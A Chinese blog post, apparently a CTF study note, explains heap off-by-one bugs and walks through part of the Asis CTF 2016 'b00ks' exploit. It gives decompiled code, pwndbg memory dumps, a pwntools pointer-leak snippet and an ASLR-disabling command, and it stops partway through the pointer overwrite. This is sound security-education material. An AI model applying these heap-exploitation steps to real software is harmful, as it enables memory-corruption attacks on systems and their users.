<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      堆中的off-by-one 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        堆中的off-by-one
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-03-21
      </span>

                                                                        <span class="post-pubtime"> 本文共3.5k字 </span>

                                                                        <span class="post-pubtime">
        大约需要24min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>off-by-one是一种特殊的溢出漏洞，off-by-one指程序向缓冲区写入时，写入的字节数超过了这个缓冲区本身所申请的字节数，并且只越界了一个字节。</p>
<h2 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h2><p>这种漏洞的产生往往与边界严重不严格和字符串操作有关，其中边界验证不严通常包括：</p>
<ul>
<li>使用循环写入时，循环的次数设置有误。</li>
<li>字符串操作不合适</li>
</ul>
<p>一般来说，单字节溢出很难利用，但是因为Linux的堆管理机制ptmalloc验证的松散性，基于Linux堆的off-by-one是可以基于各种缓冲区的，比如栈，bss段等，但是堆上的off-by-one是CTF中比较常见的，这里仅讨论heap上的off-by-one情况。</p>
<h2 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h2><ol>
<li>溢出字节为可控制任意字节：通过修改大小造成块之间出现重叠，从而泄露其他块的数据，或是覆盖其他块数据。也可使用NULL字节溢出的方法。</li>
<li>溢出字节为NULL字节：溢出NULL字节可以使得<code>prev_in_use</code>位被清，这样前一个块会被认为是free块<ol>
<li>这时可以选择使用unlink方法。（unlink部分之后再写）</li>
<li>另外这时<code>prev_size</code>就会启用，就可以伪造<code>prev_size</code>从而造成块之间发生重叠。此方法的关键在于unlink的时候没有检查按照<code>prev_size</code>找到的块的大小与<code>prev_size</code>是否一致、</li>
</ol>
</li>
</ol>
<p>在最新版的代码中已加入针对2中后一种方法的check，但在2.28之前并没有该check。</p>
<h2 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h2><h3 id="示例1"><a href="#示例1" class="headerlink" title="示例1"></a>示例1</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">my_gets</span><span class="params">(<span class="keyword">char</span> *ptr,<span class="keyword">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> i;</span><br><span class="line">    <span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;=size;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        ptr[i]=getchar();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">void</span> *chunk1,*chunk2;</span><br><span class="line">    chunk1=<span class="built_in">malloc</span>(<span class="number">16</span>);</span><br><span class="line">    chunk2=<span class="built_in">malloc</span>(<span class="number">16</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Get Input:&quot;</span>);</span><br><span class="line">    my_gets(chunk1,<span class="number">16</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>输入17*‘a’后会发现数据覆盖到了下一个堆块的prev_size。</p>
<h3 id="示例2"><a href="#示例2" class="headerlink" title="示例2"></a>示例2</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> buffer[<span class="number">40</span>]=<span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">void</span> *chunk1;</span><br><span class="line">    chunk1=<span class="built_in">malloc</span>(<span class="number">24</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Get Input&quot;</span>);</span><br><span class="line">    gets(buffer);</span><br><span class="line">    <span class="keyword">if</span>(<span class="built_in">strlen</span>(buffer)==<span class="number">24</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">strcpy</span>(chunk1,buffer);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>通过调试可以发现next chunk 的size域的低字节被结束符<code>\x00</code>覆盖，</p>
<p>这属于off-by-one的一个分支，叫做NULL byte off-by-one，之后会看到off-by-one与NULL byte off-by-one在利用上的区别。</p>
<h2 id="实例1：Asis-CTF-2016-b00ks"><a href="#实例1：Asis-CTF-2016-b00ks" class="headerlink" title="实例1：Asis CTF 2016 b00ks"></a>实例1：Asis CTF 2016 b00ks</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">yutao@pwnbaby:~/ctf-challenges/pwn/heap/off_by_one/Asis_2016_b00ks$ file b00ks </span><br><span class="line">b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped</span><br><span class="line">yutao@pwnbaby:~/ctf-challenges/pwn/heap/off_by_one/Asis_2016_b00ks$ checksec b00ks</span><br><span class="line">[*] &#x27;/home/yutao/ctf-challenges/pwn/heap/off_by_one/Asis_2016_b00ks/b00ks&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure>

<p>是一个图书管理系统。</p>
<p><strong>关闭aslr：</strong></p>
<blockquote>
<p>  <strong>echo 0 &gt; &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;randomize_va_space</strong></p>
</blockquote>
<p><strong>重启虚拟机之后aslr会自动开启。</strong></p>
<p>程序流程：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">1. Create a book</span><br><span class="line">2. Delete a book</span><br><span class="line">3. Edit a book</span><br><span class="line">4. Print book detail</span><br><span class="line">5. Change current author name</span><br><span class="line">6. Exit</span><br></pre></td></tr></table></figure>


<h3 id="Create"><a href="#Create" class="headerlink" title="Create"></a>Create</h3><p>先确定size</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nEnter book name size: &quot;</span>);</span><br><span class="line">__isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v1);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Enter book name (Max 32 chars): &quot;</span>);</span><br><span class="line">ptr = <span class="built_in">malloc</span>(v1)</span><br></pre></td></tr></table></figure>

<p>之后是description大小</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nEnter book description size: &quot;</span>);</span><br><span class="line">__isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v1);</span><br><span class="line">v5 = <span class="built_in">malloc</span>(v1);</span><br></pre></td></tr></table></figure>

<p>再之后分配book：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Enter book description: &quot;</span>);</span><br><span class="line">v3 = <span class="built_in">malloc</span>(<span class="number">0x20</span>uLL);</span><br><span class="line">*((_DWORD *)v3 + <span class="number">6</span>) = v1;<span class="comment">//size</span></span><br><span class="line">*((_QWORD *)off_202010 + v2) = v3;</span><br><span class="line">*((_QWORD *)v3 + <span class="number">2</span>) = v5;<span class="comment">//description</span></span><br><span class="line">*((_QWORD *)v3 + <span class="number">1</span>) = ptr;<span class="comment">// book_name</span></span><br><span class="line">*(_DWORD *)v3 = ++unk_202024;<span class="comment">//id</span></span><br></pre></td></tr></table></figure>
<p>可以得到一个结构体：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">book</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">	<span class="keyword">int</span> id;<span class="comment">//offset:0</span></span><br><span class="line">    <span class="keyword">char</span>* name_ptr;<span class="comment">//offset:8</span></span><br><span class="line">    <span class="keyword">char</span>* description_ptr;<span class="comment">//offset:16</span></span><br><span class="line">    <span class="keyword">int</span> size;<span class="comment">//offset:24</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>最多20本书。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 <span class="title">sub_B24</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [rsp+0h] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">19</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( !*((_QWORD *)off_202010 + i) )</span><br><span class="line">      <span class="keyword">return</span> (<span class="keyword">unsigned</span> <span class="keyword">int</span>)i;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0xFFFFFFFF</span>LL;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.data:0000000000202008 ; void *off_202008</span><br><span class="line">.data:0000000000202008 off_202008      dq offset off_202008    ; DATA XREF: sub_980+17↑r</span><br><span class="line">.data:0000000000202008                                         ; .data:off_202008↓o</span><br><span class="line">.data:0000000000202010 off_202010      dq offset unk_202060    ; DATA XREF: sub_B24:loc_B38↑o</span><br><span class="line">.data:0000000000202010                                         ; sub_BBD:loc_C1B↑o ...</span><br><span class="line">.data:0000000000202018 off_202018      dq offset unk_202040    ; DATA XREF: sub_B6D+15↑o</span><br><span class="line">.data:0000000000202018                                         ; sub_D1F+CA↑o</span><br><span class="line">.data:0000000000202018 _data           ends</span><br></pre></td></tr></table></figure>

<ul>
<li>off_202018地址中存放的是<strong>图书作者名指针</strong>，这个指针指向的地址是unk_202040</li>
<li>off_202010地址中存放的是<strong>图书的结构体指针</strong>，这个指针指向的地址为unk_202060</li>
</ul>
<h3 id="漏洞"><a href="#漏洞" class="headerlink" title="漏洞"></a>漏洞</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">sub_9F5</span><span class="params">(_BYTE *a1, <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( a2 &lt;= <span class="number">0</span> )    </span><br><span class="line">    <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( read(<span class="number">0</span>, a1, <span class="number">1uLL</span>) != <span class="number">1</span> )</span><br><span class="line">      <span class="keyword">return</span> <span class="number">1LL</span>;</span><br><span class="line">    <span class="keyword">if</span> ( *a1 == <span class="string">&#x27;\n&#x27;</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    ++a1;</span><br><span class="line">    <span class="keyword">if</span> ( i == a2 )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  *a1 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>上面函数中的for循环其实执行了a2 +1次，存在null byte off-by-one 漏洞</p>
<p><strong>小总结</strong></p>
<ul>
<li>作者名存放在off_202018地址的指针中，这个指针指向的空间共32字节</li>
<li>图书结构体指针存放在off_202010中</li>
<li>sub_9F5()存在off-by-one漏洞，在首次创建作者名或者修改作者名时，如果填写了32个字节的数据，会导致<code>\x00</code>溢出到off_202018的低位。</li>
</ul>
<h3 id="动态调试"><a href="#动态调试" class="headerlink" title="动态调试"></a>动态调试</h3><h4 id="1-定位输入的作者名的地址"><a href="#1-定位输入的作者名的地址" class="headerlink" title="1.定位输入的作者名的地址"></a>1.定位输入的作者名的地址</h4><p>输入32字节的任意数据后，Ctrl+C进入调试界面，定位刚才输入的字符串，有两种方式：</p>
<p><strong>第一种方式：</strong></p>
<p>作者名存放在off_202018中，因此知道代码段的基地址后，加上偏移就可找到存放作者名的指针。</p>
<p>vmmap查看代码段的起始地址</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">    0x555555554000     0x555555556000 r-xp     2000 0      /home/yutao/Desktop/b00ks</span><br><span class="line">    0x555555755000     0x555555756000 r--p     1000 1000   /home/yutao/Desktop/b00ks</span><br><span class="line">    0x555555756000     0x555555757000 rw-p     1000 2000   /home/yutao/Desktop/b00ks</span><br><span class="line">    0x555555757000     0x555555778000 rw-p    21000 0      [heap]</span><br><span class="line">    0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so</span><br><span class="line">    0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so</span><br><span class="line">    0x7ffff7dc9000     0x7ffff7dcd000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so</span><br><span class="line">    0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so</span><br><span class="line">    0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000 0      </span><br><span class="line">    0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so</span><br><span class="line">    0x7ffff7fe0000     0x7ffff7fe2000 rw-p     2000 0      </span><br><span class="line">    0x7ffff7ff8000     0x7ffff7ffb000 r--p     3000 0      [vvar]</span><br><span class="line">    0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [vdso]</span><br><span class="line">    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so</span><br><span class="line">    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so</span><br><span class="line">    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      </span><br><span class="line">    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]</span><br></pre></td></tr></table></figure>

<p>第一行就是代码段的范围。0x555555554000 — 0x555555556000。</p>
<p>所以存放作者名指针的地址：0x555555754000 + 0x202018 &#x3D; 0x555555756018</p>
<p>查看下：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16gx 0x555555756018</span><br><span class="line">0x555555756018:	0x0000555555756040//地址	0x0000000000000000</span><br><span class="line">0x555555756028:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555756038:	0x0000000000000000	0x6161616161616161&lt;=存放的字符串</span><br><span class="line">0x555555756048:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555756058:	0x6161616161616161	0x0000000000000000</span><br><span class="line">0x555555756068:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555756078:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555756088:	0x0000000000000000	0x0000000000000000</span><br></pre></td></tr></table></figure>

<p><strong>第二种方式</strong></p>
<p>使用pwngdb的search命令进行搜索：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; search aaaaaaaaaaaaaaaaaaaaaaaaa</span><br><span class="line">b00ks           0x555555756040 &#x27;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#x27;</span><br></pre></td></tr></table></figure>



<h4 id="2-泄露图书结构体指针"><a href="#2-泄露图书结构体指针" class="headerlink" title="2.泄露图书结构体指针"></a>2.泄露图书结构体指针</h4><p>接下来泄露图书结构体指针，<strong>输入命令c回到程序执行的界面</strong>，创建图书：</p>
<ol>
<li>创建book1：<ul>
<li>book_size &#x3D; 10</li>
<li>book_name &#x3D; book1_name</li>
<li>description_size &#x3D; 200</li>
<li>description_size &#x3D; book1_description</li>
</ul>
</li>
<li>创建book2：<ul>
<li>book_size &#x3D; 0x21000 &#x3D; 135168</li>
<li>book_name &#x3D; book2_name</li>
<li>description_size &#x3D; 135168</li>
<li>description_size &#x3D; book2_description</li>
</ul>
</li>
</ol>
<p>至于为什么这么输，之后再说。</p>
<p>Ctrl+c回到调试界面。</p>
<p>book结构体的指针放在off_202010，查看下off_202010</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16gx 0x555555756010</span><br><span class="line">0x555555756010:	0x0000555555756060//地址	0x0000555555756040</span><br><span class="line">0x555555756020:	0x0000000200000000	0x0000000000000000</span><br><span class="line">0x555555756030:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555756040:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555756050:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555756060:	0x0000555555757760	0x0000555555757790 &lt;= 存放的结构体的起始地址</span><br><span class="line">0x555555756070:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555756080:	0x0000000000000000	0x0000000000000000</span><br></pre></td></tr></table></figure>

<p><code>0x0000555555756060</code>存放的是book1结构体的起始地址，</p>
<p><code>0x0000555555757768</code>存放的是book1结构体的起始地址。</p>
<p>作者名与book结构体指针相连，输入32字节数据后会导致book结构体地址的低位被覆盖为<code>\x00</code>，由于printf打印内容时，遇到\x00停止，因此会将book1 的结构体地址打印出来，</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; c</span><br><span class="line">Continuing.</span><br><span class="line">4</span><br><span class="line">ID: 1</span><br><span class="line">Name: book1_name</span><br><span class="line">Description: book1_desc</span><br><span class="line">Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`wuUUU</span><br><span class="line">ID: 2</span><br><span class="line">Name: book2_name</span><br><span class="line">Description: book2_desc</span><br><span class="line">Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`wuUUU</span><br></pre></td></tr></table></figure>

<p>其中<code>0x0000555555757760</code>即对应`wuUUU。</p>
<p>payload：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">p.senline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;Author: &quot;</span>)</span><br><span class="line">p.recv(<span class="number">32</span>)</span><br><span class="line">book1_addr = u64(p.recv(<span class="number">6</span>)+<span class="string">&#x27;\x00\x00&#x27;</span>)</span><br></pre></td></tr></table></figure>

<h4 id="3-覆盖原有的结构体指针"><a href="#3-覆盖原有的结构体指针" class="headerlink" title="3.覆盖原有的结构体指针"></a>3.覆盖原有的结构体指针</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32gx 0x0000555555757760</span><br><span class="line">0x555555757760:	0x0000000000000001	0x0000555555757670#book1</span><br><span class="line">0x555555757770:	0x0000555555757690	0x00000000000000c8#book1</span><br><span class="line">0x555555757780:	0x0000000000000000	0x0000000000000031#book1</span><br><span class="line">0x555555757790:	0x0000000000000002	0x00007ffff7fbe010#book2</span><br><span class="line">0x5555557577a0:	0x00007ffff7f9c010	0x0000000000021000#book2</span><br><span class="line">0x5555557577b0:	0x0000000000000000	0x0000000000020851#book2</span><br></pre></td></tr></table></figure>

<ul>
<li>0x555555757760：book1_id</li>
<li>0x555555757768：book1_name：0x0000555555757670</li>
<li>0x555555757770：book1_desc：0x0000555555757690</li>
</ul>
<p>book1的结构体指针低位能够覆盖作者名的\x00，那么作者名的\x00可以覆盖结构体指针的低位呢？程序有修改作者名的功能，输入的作者名依然会放在off_202018中。book1结构体的起始地址为0x0000555555757760，那么被覆盖之后会变为0x0000555555757700.</p>
<p>作者名处，其中0x555555756060处已变为0x0000555555757700。</p>
